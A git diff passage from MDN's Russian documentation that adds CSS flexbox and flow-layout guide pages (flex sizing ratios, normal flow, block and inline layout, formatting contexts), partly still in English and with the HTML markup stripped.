Свойство justify-content может принимать те же самые значения, что и align-content.

+ +
    +
  • justify-content: flex-start
    • +
  • justify-content: flex-end
    • +
  • justify-content: center
    • +
  • justify-content: space-between
    • +
  • justify-content: space-around
    • +
  • justify-content: stretch
    • +
  • justify-content: space-evenly (не определено в спецификации Flexbox)
    • +
+ +

В примере ниже, свойству justify-content задано значение space-between. Все доступное пространство распределяется между элементами после их позиционирования в контейнере. Первый и последний элементы занимают положения в начале и в конце контейнера соответственно.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}}

+ +

Если свойство flex-direction имеет значение column, то свойство justify-content распределит доступное пространство в контейнере между элементами.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}} 

+ +

Выравнивание и режим записи

+ +

Необходимо помнить, что при использовании свойств flex-start иflex-end элементы позиционируются в режиме записи. Если свойству justify-content задано значение start и стоит режим записи left-to-right (слева-направо), как в английском, то элементы выравниваются, начиная с левой стороны контейнера.

+ +

Three items lined up on the left

+ +

Однако, если задан режим записи right-to-left (справа-налево), как в арабском языке, то элементы будут выстраиваться с правой стороны контейнера.

+ +

Three items lined up from the right

+ +

В примере ниже свойству property задано значение rtl, которое изменяет порядок наших элементов. Вы можете удалить это свойство или изменить значение свойства justify-content, чтобы увидеть, как работает flexbox, когда отображение элементов начинается справа.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} 

+ +

Выравнивание и гибкое-направление

+ +

Начальное положение элементов поменяется, если вы измените значение свойства flex-direction — например установите row-reverse вместо row.

+ +

В следующем примере заданы следующие свойства: flex-direction: row-reverse и justify-content: flex-end. В языках с параметром записи ltr все элементы будут отображаться с левой стороны. Попробуйте изменить свойство flex-direction: row-reverse на flex-direction: row. Вы увидите, что теперь элементы отображаются реверсивно.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} 

+ +

Может показаться немного запутанным, но главное правило, которое необходимо запомить – до тех пор, пока вы не измените свойство flex-direction, элементы контейнера выстраиваются в режиме записи вашего языка (ltr или rtl). 

+ +

Diagram showing start on the left and end on the right.

+ +

Вы можете сделать отображение элементов контейнера блочным, задав свойству flex-direction значение  column. Свойство flex-start будет отображать элементы в столбец сверху вниз. Таким образом, первый элемент будет первым параграфом.

+ +

Diagram showing start at the top and end at the bottom.

+ +

Если вы зададите свойству flex-direction реверсивное значение, то элементы будут позиционироваться в обратном порядке. Так, свойство flex-start будет брать начало в конце контейнера. Первый элемент будет находится в конце строки, если задано строчное отображение элементов или в конце параграфа, если задано блочное отображение.   

+ +

Diagram showing start on the right and end on the left.

+ +

Diagram showing end at the top and start at the bottom

+ +

Использование авто отступов для выравнивания по главной оси

+ +

Так как элементы, расположенные на главной оси, обрабатываются как группа, свойства justify-items или justify-self становятся недоступными. Тем не менее, существует способ отделить конкретный элемент или группу элементов от остальных, используя внешний отступ margin со значением auto. 

+ +

Распространённый пример — панель навигации, в которой отдельные важные элементы выровнены по правому краю, а основная группа элементов — по левому.

+ +

На первый взгляд может показаться, что это юзкейс для свойства justify-self. Однако, рассмотрим следующий ниже пример. Имеется три элемента с одной стороны и два — с другой. Если бы мы могли использовать justify-self на элементе d, это также изменило бы выравнивание следующего элемента — e, что может противоречить первоначальному замыслу.

+ +

Five items, in two groups. Three on the left and two on the right.

+ +

Вместо этого мы можем выбрать четвёртый элемент (d) и отделить его от первых трёх, задав ему значение auto для margin-left. Авто-margin заполнит всё доступное свободное место по своей оси. Тем же образом cработает margin-right. Оба свойства со значениями auto отцентрируют блок, так как каждый из отступов будет пытаться занять максимум пространства.

+ +

В интерактивном примере ниже у нас имеется простой ряд из флекс-элементов и класс push с заданным margin-left: auto. Вы можете, например, попробовать удалить это значение или добавить класс другому элементу, чтобы увидеть, как работает этот метод. 

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} 

+ +

Будущие функции выравнивания для Flexbox

+ +

В начале этой статьи объясняется, что свойства выравнивания, которые в настоящее время содержатся в спецификации Flexbox Level 1, также включены в спецификацию Box Alignment Level 3, которая в дальнейшем может расширить эти свойства и значения. Мы уже видели, как это произошло с введением значения space-evenly для свойств align-content и justify-content.

+ +

Выравнивание во Flexbox также включает в себя другие методы создания пространства между элементами, такие как column-gap and row-gap, как показано в макете CSS Grid Layout. Включение этих свойств в Box Alignment означает, что в будущем мы также сможем использовать column-gap и row-gap во Flexbox разметке. Это означает, что вам не нужно будет использовать отступы, чтобы создать пространство между элементами.

+ +

Мое предложение заключается в том, чтобы при изучении выравнивания во Flexbox, делать это параллельно с выравниванием в Grid Layout. В обеих спецификациях используются свойства выравнивания, подобные Flexbox. Вы можете видеть, как эти свойства ведут себя при работе с сеткой в статье Box Alignment in Grid Layout, а также рассмотреть как выравнивание работает в этих спецификациях в статье Box Alignment Cheatsheet.

+ +

Смотрите Также

+ +
    +
  • Выравнивание Коробки
    • +
  • Выравнивание Коробки в Flexbox (Гибкая Коробка)
    • +
  • Выравнивание Коробки в Grid Layout (Макет Сетки)
    • +
diff --git "a/files/ru/web/css/css_flexible_box_layout/\320\272\320\276\320\275\321\202\321\200\320\276\320\273\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\321\201\320\276\320\276\321\202\320\275\320\276\321\210\320\265\320\275\320\270\321\217_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\262\320\264\320\276\320\273\321\214_\320\263\320\273\320\260\320\262\320\275\320\276\320\271_\320\276\321\201\320\270/index.html" "b/files/ru/web/css/css_flexible_box_layout/\320\272\320\276\320\275\321\202\321\200\320\276\320\273\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\321\201\320\276\320\276\321\202\320\275\320\276\321\210\320\265\320\275\320\270\321\217_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\262\320\264\320\276\320\273\321\214_\320\263\320\273\320\260\320\262\320\275\320\276\320\271_\320\276\321\201\320\270/index.html" new file mode 100644 index 0000000000..97e521c2e1 --- /dev/null +++ "b/files/ru/web/css/css_flexible_box_layout/\320\272\320\276\320\275\321\202\321\200\320\276\320\273\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\321\201\320\276\320\276\321\202\320\275\320\276\321\210\320\265\320\275\320\270\321\217_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\262\320\264\320\276\320\273\321\214_\320\263\320\273\320\260\320\262\320\275\320\276\320\271_\320\276\321\201\320\270/index.html" @@ -0,0 +1,194 @@ +--- +title: Управление соотношением элементов вдоль главной оси +slug: >- + Web/CSS/CSS_Flexible_Box_Layout/Контролирование_соотношения_элементов_вдоль_главной_оси +translation_of: >- + Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax +--- +
{{CSSRef}}
+ +
+ +
В данном руководстве, мы исследуем три свойства  применяемые к flex элементам, которые позволяют нам контролировать размер и  гибкость flex элементов по основной(main) оси. Полное понимание, как эти свойства работают,  при увеличение и уменьшение элементов, есть ключ к мастерству flexbox.
+ +

A first look

+ +

Our three properties control the following aspects of a flex item's flexibility:

+ +
    +
  • flex-grow: How much of the positive free space does this item get?
    • +
  • flex-shrink: How much negative free space can be removed from this item?
    • +
  • flex-basis: What is the size of the item before growing and shrinking happens?
    • +
+ +

The properties are usually expressed as the shorthand {{CSSxRef("flex")}} property. The following code would set the flex-grow property to 2, flex-shrink to 1 and flex-basis to auto.

+ +
.item {
+  flex: 2 1 auto;
+}
+ +

If you have read the article Basic Concepts of Flexbox, then you will have already had an introduction to the properties. Here we will explore them in depth in order that you can fully understand what the browser is doing when you use them.

+ +

Important concepts when working on the main axis

+ +

There are a few concepts worth digging into before looking at how the flex properties work to control ratios along the main axis. These relate to the natural size of flex items before any growing or shrinking takes place, and to the concept of free space.

+ +

Flex item sizing

+ +

In order to work out how much space there is available to lay out flex items, the browser needs to know how big the item is to start with. How is this worked out for items that don’t have a width or a height applied using an absolute length unit?

+ +

There is a concept in CSS of {{CSSxRef('width','min-content','#min-content')}} and {{CSSxRef('width','max-content','#max-content')}} — these keywords are defined in the CSS Intrinsic and Extrinsic Sizing Specification, and can be used in place of a length unit.

+ +

In the live example below for instance I have two paragraph elements that contain a string of text. The first paragraph has a width of min-content. In a browser that supports this keyword you should be able to see that the text has taken all of the soft wrapping opportunities available to it, becoming as small as it can be without overflowing. This then, is the min-content size of that string. Essentially, the longest word in the string is dictating the size.

+ +

The second paragraph has a value of max-content and so it does the opposite. It gets as big as it possibly can be, taking no soft-wrapping opportunities. It would overflow the box it is in if that container was too narrow.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/min-max-content.html", '100%', 750)}}

+ +

If your browser does not yet support these keywords both paragraphs will be rendered as normal paragraphs in block flow; the below screenshots show the expected rendering.

+ +

The first paragraph is wrapped to the longest word, the second stretched out so as to cause overflow.

+ +

Remember this behaviour and what effects min-content and max-content have as we explore flex-grow and flex-shrink later in this article.

+ +

Positive and negative free space

+ +

To talk about these properties we need to understand the concept of positive and negative free space. When a flex container has positive free space, it has more space than is required to display the flex items inside the container. For example, if I have a 500 pixel-wide container, {{CSSxRef("flex-direction")}} is row, and I have three flex items each 100 pixels wide, then I have 200 pixels of positive free space, which could be distributed between the items if I wanted them to fill the container.

+ +

Image showing space left over after items have been displayed.

+ +

We have negative free space when the natural size of the items adds up to larger than the available space in the flex container. If I have a 500 pixel-wide container like the one above, but the three flex items are each 200 pixels wide, the total space I need will be 600 pixels, so I have 100 pixels of negative free space. This could be removed from the items in order to make them fit the container.

+ +

The items overflow the container

+ +

It is this distribution of positive free space and removal of negative free space that we need to understand in order to understand the flex properties.

+ +

In the following examples I am working with {{CSSxRef("flex-direction")}} set to row, therefore the size of items will always come from their width. We will be calculating the positive and negative free space created by comparing the total width of all the items with the container width. You could equally try out each example with flex-direction: column. The main axis would then be the column, and you would then need to compare the height of the items and that of the container they are in to work out the positive and negative free space.

+ +

The flex-basis property

+ +

The {{CSSxRef("flex-basis")}} property specifies the initial size of the flex item before any space distribution happens. The initial value for this property is auto. If flex-basis is set to auto then to work out the initial size of the item the browser first checks if the main size of the item has an absolute size set. This would be the case if you had given your item a width of 200 pixels. In that case 200px would be the flex-basis for this item.

+ +

If your item is instead auto-sized, then auto resolves to the size of its content. At this point your knowledge of min- and max-content sizing becomes useful, as flexbox will take the max-content size of the item as the flex-basis. The following live example can help to demonstrate this.

+ +

In this example I have created a series of inflexible boxes, with both flex-grow and flex-shrink set to 0. Here we can see how the first item — which has an explicit width of 150 pixels set as the main size — takes a flex-basis of 150px, whereas the other two items have no width and so are sized according to their content width.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-basis.html", '100%', 500)}}

+ +

In addition to the auto keyword, you can use the content keyword as the flex-basis. This will result in the flex-basis being taken from the content size even if there is a width set on the item. This is a newer keyword and has less browser support, however you can always get the same effect by using auto as the flex-basis and ensuring that your item does not have a width set, in order that it will be auto-sized.

+ +

If you want flexbox to completely ignore the size of the item when doing space distribution then set flex-basis to 0. This essentially tells flexbox that all the space is up for grabs, and to share it out in proportion. We will see examples of this as we move on to look at flex-grow.

+ +

The flex-grow property

+ +

The {{CSSxRef("flex-grow")}} property specifies the flex grow factor, which determines how much the flex item will grow relative to the rest of the flex items in the flex container when the positive free space is distributed.

+ +

If all of your items have the same flex-grow factor then space will be distributed evenly between all of them. If this is the situation that you want then typically you would use 1 as the value, however you could give them all a flex-grow of 88, or 100, or 1.2 if you like — it is a ratio. If the factor is the same for all, and there is positive free space in the flex container then it will be distributed equally to all.

+ +

Combining flex-grow and flex-basis

+ +

Things can get confusing in terms of how flex-grow and flex-basis interact. Let's consider the case of three flex items of differing content lengths and the following flex rules applied to them:

+ +

flex: 1 1 auto;

+ +

In this case the flex-basis value is auto and the items don’t have a width set, and so are auto-sized. This means that flexbox is looking at the max-content size of the items. After laying the items out we have some positive free space in the flex container, shown in this image as the hatched area:

+ +

Images shows the positive free space as a hatched area

+ +

We are working with a flex-basis equal to the content size so the available space to distribute is subtracted from the total available space (the width of the flex container), and the leftover space is then shared out equally among each item. Our bigger item ends up bigger because it started from a bigger size, even though it has the same amount of spare space assigned to it as the others:

+ +

The positive space is distributed between items

+ +

If what you actually want is three equally-sized items, even if they start out at different sizes, you should use this:

+ +

flex: 1 1 0;

+ +

Here we are saying that the size of the item for the purposes of our space distribution calculation is 0 — all the space is up for grabs and as all of the items have the same flex-grow factor, they each get an equal amount of space distributed. The end result is three equal width, flexible items.

+ +

Try changing the flex-grow factor from 1 to 0 in this live example to see the different behavior:

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-grow.html", '100%', 520)}}

+ +

Giving items different flex-grow factors

+ +

Our understanding of how flex-grow works with flex-basis allows us to have further control over our individual item sizes by assigning items different flex-grow factors. If we keep our flex-basis at 0 so all of the space can be distributed, we could assign each of the three flex items a different flex-grow factor. In the example below I am using the following values:

+ +
    +
  • 1 for the first item.
    • +
  • 1 for the second item.
    • +
  • 2 for the third item.
    • +
+ +

Working from a flex-basis of 0 this means that the available space is distributed as follows. We need to add up the flex grow factors, then divide the total amount of positive free space in the flex container by that number, which in this case is 4. We then share out the space according to the individual values — the first item gets one part, the second one part, the third two parts. This means that the third item is twice the size of the first and second items.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-grow-ratios.html", '100%', 520)}}

+ +

Remember that you can use any positive value here. It is the ratio between one item and the others that matters. You can use large numbers, or decimals — it is up to you. To test that out change the values assigned in the above example to .25, .25, and .50 — you should see the same result.

+ +

The flex-shrink property

+ +

The {{CSSxRef("flex-shrink")}} property specifies the flex shrink factor, which determines how much the flex item will shrink relative to the rest of the flex items in the flex container when negative free space is distributed.

+ +

This property deals with situations where the browser calculates the flex-basis values of the flex items, and finds that they are too large to fit into the flex container. As long as flex-shrink has a positive value the items will shrink in order that they do not overflow the container.

+ +

So where flex-grow deals with adding available space, flex-shrink manages taking away space to make boxes fit into their container without overflowing.

+ +

In the next live example I have three items in a flex container; I’ve given each a width of 200 pixels, and the container is 500 pixels wide. With flex-shrink set to 0 the items are not allowed to shrink and so they overflow the box.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink.html", '100%', 500)}}

+ +

Change the flex-shrink value to 1 and you will see each item shrink by the same amount, in order that all of the items now fit in the box. They have become smaller than their initial width in order to do so.

+ +

Combining flex-shrink and flex-basis

+ +

You could say that flex-shrink works in pretty much the same way as flex-grow. However there are two reasons why it isn’t quite the same.

+ +

While it is usually subtle, defined in the specification is one reason why flex-shrink isn’t quite the same for negative space as flex-grow is for positive space:

+ +
+

“Note: The flex shrink factor is multiplied by the flex base size when distributing negative space. This distributes negative space in proportion to how much the item is able to shrink, so that e.g. a small item won’t shrink to zero before a larger item has been noticeably reduced.”

+
+ +

The second reason is that flexbox prevents small items from shrinking to zero size during this removal of negative free space. The items will be floored at their min-content size — the size that they become if they take advantage of any soft wrapping opportunities available to them.

+ +

You can see this min-content flooring happen in the below example, where the flex-basis is resolving to the size of the content. If you change the width on the flex container — increasing it to 700px for example — and then reduce the flex item width, you can see that the first two items will wrap, however they will never become smaller than that min-content size. As the box gets smaller space is then just removed from the third item.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink-min-content.html", '100%', 500)}}

+ +

In practice the shrinking behaviour does tend to give you reasonable results. You don’t usually want your content to disappear completely or for boxes to get smaller than their minimum content, so the above rules make sense in terms of sensible behaviour for content that needs to be shrunk in order to fit into a container.

+ +

Giving items different flex-shrink factors

+ +

In the same way as flex-grow, you can give flex-items different flex-shrink factors. This can help change the default behaviour if, for example, you want an item to shrink more or less rapidly than its siblings or not shrink at all.

+ +

In the following live example the first item has a flex-shrink factor of 1, the second 0 (so it won’t shrink at all), and the third 4. The third item therefore shrinks more rapidly than the first. Play around with the different values — as for flex-grow you can use decimals or larger numbers here. Choose whatever makes most sense to you.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-shrink-ratios.html", '100%', 570)}}

+ +

Mastering sizing of flex items

+ +

The key to really understanding how flex item sizing works is in understanding the number of things that come into play. Consider the following aspects, which we have already discussed in these guides:

+ +

What sets the base size of the item?

+ +
    +
  1. Is flex-basis set to auto, and does the item have a width set? If so, the size will be based on that width.
    2. +
  2. Is flex-basis set to auto or content (in a supporting browser)? If so, the size is based on the item size.
    3. +
  3. Is flex-basis a length unit, but not zero? If so this is the size of the item.
    4. +
  4. Is flex-basis set to 0? if so then the item size is not taken into consideration for the space-sharing calculation.
    5. +
+ +

Do we have available space?

+ +

Items can’t grow with no positive free space, and they won’t shrink unless there is negative free space.

+ +
    +
  1. If we took all of the items and added up their widths (or heights if working in a column), is that total less than the total width (or height) of the container? If so, then you have positive free space and flex-grow comes into play.
    2. +
  2. If we took all of the items and added up their widths (or heights if working in a column), is that total more than the total width (or height) of the container? If so, you have negative free space and flex-shrink comes into play.
    3. +
+ +

Other ways to distribute space

+ +

If you do not want space added to the items, remember that you can deal with free space between or around items using the alignment properties described in the guide to aligning items in a flex container. The {{CSSxRef("justify-content")}} property will enable the distribution of free space between or around items. You can also use auto margins on flex items to absorb space and create gaps between items.

+ +

With all the flex tools at your disposal you will find that most tasks can be achieved, although it might take a little bit of experimentation at first.

diff --git a/files/ru/web/css/css_flow_layout/index.html b/files/ru/web/css/css_flow_layout/index.html new file mode 100644 index 0000000000..99afb866d3 --- /dev/null +++ b/files/ru/web/css/css_flow_layout/index.html @@ -0,0 +1,53 @@ +--- +title: Поточная раскладка CSS +slug: Web/CSS/CSS_Flow_Layout +tags: + - CSS + - Раскладка + - Руководство + - поток + - поточная раскладка +translation_of: Web/CSS/CSS_Flow_Layout +--- +
{{CSSRef}}
+ +

Нормальный поток (normal flow) или поточная раскладка (flow layout), это способ отображения блочных (block) и строчных (inline) элементов на странице. Сначала раскладка этих элементов происходит согласно правилам потока, после чего в нее могут быть внесены изменения, например, относительное позиционирование.

+ +

По сути поток представляется собой набор сущностей, которые работают вместе и знают друг о друге. Когда некоторая сущность вынимается из потока (out of flow), то она работает независимо.

+ +

В нормальном потоке строчные (inline) элементы отображаются в направлении строки (inline direction), то есть в том же направлении, как идут слова в предложении в соответствии с режимом письма (writing mode) документа. Блочные (block) элементы отображаются один за другим, также как параграфы в соответсвии с режимом письма документа. Поэтому в анлгийском языке строчные элементы отображаются один за другим, начиная слева, а блочные элементы выкладываются на странице сверху вниз.

+ +

Пример

+ +

Следующий пример показывает боксы уровня блока (block level) и уровня строки (inline level). Боксы уровня блока участвуют в блочном контексте форматирования, а боксы уровня строки в строчном контексте форматирования.

+ +

Два элемента параграфа с зеленой границей создают боксы уровня блока, отображающиеся один под другим.

+ +

Первое предложение также содержит элемент span с голубым фоном. Он создает бокс уровня строки и, следовательно, размещается внутри предложения.

+ +

{{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}

+ +

Руководства

+ + + +

Ссылки

+ +

Записи глосария

+ +
    +
  • {{Glossary("Block/CSS", "Block (CSS)")}}
    • +
+ + diff --git "a/files/ru/web/css/css_flow_layout/\320\261\320\273\320\276\321\207\320\275\320\276\320\265_\320\270_\321\201\321\202\321\200\320\276\321\207\320\275\320\276\320\265_\321\200\320\260\320\267\320\274\320\265\321\211\320\265\320\275\320\270\320\265_\320\262_\320\275\320\276\321\200\320\274\320\260\320\273\321\214\320\275\320\276\320\274_\320\277\320\276\321\202\320\276\320\272\320\265/index.html" "b/files/ru/web/css/css_flow_layout/\320\261\320\273\320\276\321\207\320\275\320\276\320\265_\320\270_\321\201\321\202\321\200\320\276\321\207\320\275\320\276\320\265_\321\200\320\260\320\267\320\274\320\265\321\211\320\265\320\275\320\270\320\265_\320\262_\320\275\320\276\321\200\320\274\320\260\320\273\321\214\320\275\320\276\320\274_\320\277\320\276\321\202\320\276\320\272\320\265/index.html" new file mode 100644 index 0000000000..86879d343e --- /dev/null +++ "b/files/ru/web/css/css_flow_layout/\320\261\320\273\320\276\321\207\320\275\320\276\320\265_\320\270_\321\201\321\202\321\200\320\276\321\207\320\275\320\276\320\265_\321\200\320\260\320\267\320\274\320\265\321\211\320\265\320\275\320\270\320\265_\320\262_\320\275\320\276\321\200\320\274\320\260\320\273\321\214\320\275\320\276\320\274_\320\277\320\276\321\202\320\276\320\272\320\265/index.html" @@ -0,0 +1,123 @@ +--- +title: Блочное и строчное расположение в нормальном потоке +slug: Web/CSS/CSS_Flow_Layout/Блочное_и_строчное_размещение_в_нормальном_потоке +tags: + - CSS + - Макет + - Макет потока CSS + - Отступы + - Руководство + - Средний уровень + - поток +translation_of: Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow +--- +
{{CSSRef}}
+ +

В этом руководстве мы исследуем основы поведения блочных и строчных элементов - участников нормального потока.

+ +

Normal Flow is defined in the CSS 2.1 specification, which explains that any boxes in normal flow will be part of a formatting context. They can be either block or inline, but not both at once. We describe block-level boxes as participating in a block formatting context, and inline-level boxes as participating in an inline formatting context.

+ +

The behaviour of elements which have a block or inline formatting context is also defined in this specification. For elements with a block formatting context, the spec says:

+ +
+

“In a block formatting context, boxes are laid out one after the other, vertically, beginning at the top of a containing block. The vertical distance between two sibling boxes is determined by the 'margin' properties. Vertical margins between adjacent block-level boxes in a block formatting context collapse.
+
+ In a block formatting context, each box's left outer edge touches the left edge of the containing block (for right-to-left formatting, right edges touch).” - 9.4.1

+
+ +

For elements with an inline formatting context:

+ +
+

“In an inline formatting context, boxes are laid out horizontally, one after the other, beginning at the top of a containing block. Horizontal margins, borders, and padding are respected between these boxes. The boxes may be aligned vertically in different ways: their bottoms or tops may be aligned, or the baselines of text within them may be aligned. The rectangular area that contains the boxes that form a line is called a line box.” - 9.4.2

+
+ +

Note that the CSS 2.1 specification describes documents as being in a horizontal, top to bottom writing mode. For example, by describing vertical distance between block boxes. The behavior on block and inline elements is the same when working in a vertical writing mode, and we will explore this in a future guide on Flow Layout and Writing Modes.

+ +

Elements participating in a block formatting context

+ +

Block elements in a horizontal writing mode such as English, layout vertically, one below the other.

+ +

+ +

In a vertical writing mode then would lay out horizontally.

+ +

+ +

In this guide, we will be working in English and therefore a horizontal writing mode. However, everything described should work in the same way if your document is in a vertical writing mode.

+ +

As defined in the specification, the margins between two block boxes are what creates separation between the elements. We see this with a very simple layout of two paragraphs, to which I have added a border. The default browser stylesheet adds spacing between the paragraphs by way of adding a margin to the top and bottom.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow.html", '100%', 700)}}

+ +

If we set margins on the paragraph element to 0 then the borders will touch.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-margin-zero.html", '100%', 700)}}

+ +

By default block elements will consume all of the space in the inline direction, so our paragraphs spread out and get as big as they can inside their containing block. If we give them a width, they will continue to lay out one below the other - even if there would be space for them to be side by side. Each will start against the start edge of the containing block, so the place at which sentences would begin in that writing mode.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-width.html", '100%', 700)}}

+ +

Margin collapsing

+ +

The spec explains that margins between block elements collapse. This means that if you have an element with a top margin immediately after an element with a bottom margin, rather than the total space being the sum of these two margins, the margin collapses, and so will essentially become as large as the larger of the two margins.

+ +

In the example below, the paragraphs have a top margin of 20px and a bottom margin of 40px. The size of the margin between the paragraphs is 40px as the smaller top margin on the second paragraph has collapsed with the larger bottom margin of the first.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-collapsing.html", '100%', 500)}}

+ +

You can read more about margin collapsing in our article Mastering Margin Collapsing.

+ +
+

Note: if you are not sure whether margins are collapsing, check the Box Model values in your browser DevTools. This will give you the actual size of the margin which can help you to identify what is happening.

+ +

+
+ +

Elements participating in an inline formatting context

+ +

Inline elements display one after the other in the direction that sentences run in that particular writing mode. While we don’t tend to think of inline elements as having a box, as with everything in CSS they do. These inline boxes are arranged one after the other. If there is not enough space in the containing block for all of the boxes a box can break onto a new line. The lines created are known as line boxes.

+ +

In the following example, we have three inline boxes created by a paragraph with a {{HTMLElement("strong")}} element inside it.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/inline.html", '100%', 500)}}

+ +

The boxes around the words before the <strong> element and after the <strong> element are referred to as anonymous boxes, boxes introduced to ensure that everything is wrapped in a box, but ones that we cannot target directly.

+ +

The line box size in the block direction (so the height when working in English) is defined by the tallest box inside it. In the next example, I have made the <strong> element 300%; that content now defines the height of the line box on that line.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/line-box.html", '100%', 500)}}

+ +

Find out more about how Block and Inline Boxes behave in our Guide to the Visual Formatting Model.

+ +

The display property and flow layout

+ +

In addition to the rules existing in CSS2.1, new levels of CSS further describe the behaviour of block and inline boxes. The {{cssxref("display")}} property defines how a box and any boxes inside it behave. In the CSS Display Model Level 3, we can learn more about how the display property changes the behaviour of boxes and the boxes they generate.

+ +

The display type of an element defines the outer display type; this dictates how the box displays alongside other elements in the same formatting context. It also defines the inner display type, which dictates how boxes inside this element behave. We can see this very clearly when considering a flex layout. In the example below I have a {{HTMLElement("div")}}, which I have given display: flex. The flex container behaves like a block element: it displays on a new line and takes up all of the space it can in the inline direction. This is the outer display type of block.

+ +

The flex items however are participating in a flex formatting context, because their parent is the element with display: flex, which has an inner display type of flex, establishing the flex formatting context for the direct children.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/flex.html", '100%', 500)}}

+ +

Therefore you can think of every box in CSS working in this way. The box itself has an outer display type, so it knows how to behave alongside other boxes. It then has an inner display type which changes the way its children behave. Those children then have an outer and inner display type too. The flex items in the previous example become flex level boxes, so their outer display type is dictated by way of them being part of the flex formatting context. They have an inner display type of flow however, meaning that their children participate in normal flow. Items nested inside our flex item lay themselves out as block and inline elements unless something changes their display type.

+ +

This concept of the outer and inner display type is important as this tells us that a container using a layout method such as Flexbox (display: flex) and Grid Layout (display: grid) is still participating in block and inline layout, due to the outer display type of those methods being block.

+ +

Changing the Formatting Context an element participates in

+ +

Browsers display items as part of a block or inline formatting context in terms of what normally makes sense for that element. For example, a {{HTMLElement("strong")}} element is used to highlight a word and displays bold in browsers. It would not generally make sense for that <strong> element to be displayed as a block level element, breaking onto a new line. If you did want all <strong> elements to display as block elements, you could do so by setting display: block on <strong>. This means that you can always use most of the semantic HTML elements to markup your content, and then change the way it displays using CSS.

+ +

{{EmbedGHLiveSample("css-examples/flow/block-inline/change-formatting.html", '100%', 500)}}

+ +

Summary

+ +

In this guide, we have looked at how elements display in normal flow, as block and inline elements. Due to the default behaviour of these elements, an HTML document with no CSS styling at all, will display in a readable way. By understanding how normal flow works you will find layout easier, as you understand the starting point for making changes to how elements are displayed.

+ +

See Also

+ + diff --git "a/files/ru/web/css/css_flow_layout/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_\320\272\320\276\320\275\321\202\320\265\320\272\321\201\321\202\321\213_\321\204\320\276\321\200\320\274\320\260\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\321\217/index.html" "b/files/ru/web/css/css_flow_layout/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_\320\272\320\276\320\275\321\202\320\265\320\272\321\201\321\202\321\213_\321\204\320\276\321\200\320\274\320\260\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\321\217/index.html" new file mode 100644 index 0000000000..c027e8eb3b --- /dev/null +++ "b/files/ru/web/css/css_flow_layout/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_\320\272\320\276\320\275\321\202\320\265\320\272\321\201\321\202\321\213_\321\204\320\276\321\200\320\274\320\260\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\321\217/index.html" @@ -0,0 +1,85 @@ +--- +title: Введение в контексты форматирования +slug: Web/CSS/CSS_Flow_Layout/Введение_в_контексты_форматирования +translation_of: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts +--- +
{{CSSRef}}
+ +

В этой статье представлена концепция контекстов форматирования (formatting context). Существует несколько типов контекстов форматирования, например, блочный контекст форматирования (block formatting context, BFC), строчный контекст форматирования (inline formatting context), флексовый контекст форматирования (flex formatting context). В статье даны основы того, как они себя ведут, и как вы можете использовать это поведение.

+ +

Всё на странице является частью контекста форматирования (formatting context), который представляет собой область, в которой происходит раскладка контента по определенным правилам. Блочный контекст форматирования (block formatting context, BFC) делает раскладку своих дочерних элементов в соответствии с правилами блочной раскладки, флексовый контекст форматирования (flex formatting context) раскладывает свои дочерние элементы как {{Glossary("flex item", "флекс-элементы")}} и т.д. Каждый контекст форматирования использует свои правила раскладки.

+ +

Блочные контексты форматирования

+ +

Самый внешний элемент в документе, который использует правила блочной раскладки, устанавливает первый или начальный блочный контекст форматирования (initial block formatting context). Это означает, что все элементы внутри элемента <html> раскладываются в соответствии с нормальным потоком, следуя правилам блочной и строчной раскладки. Элементы, участвующие в БКФ, используют правила, описанные в модели бокса (CSS Box Model), которая определяет, как поля (margins), границы (borders) и отступы (paddings) элемента взаимодействуют с другими блоками в том же контексте.

+ +

Создание нового блочного контекста форматирования

+ +

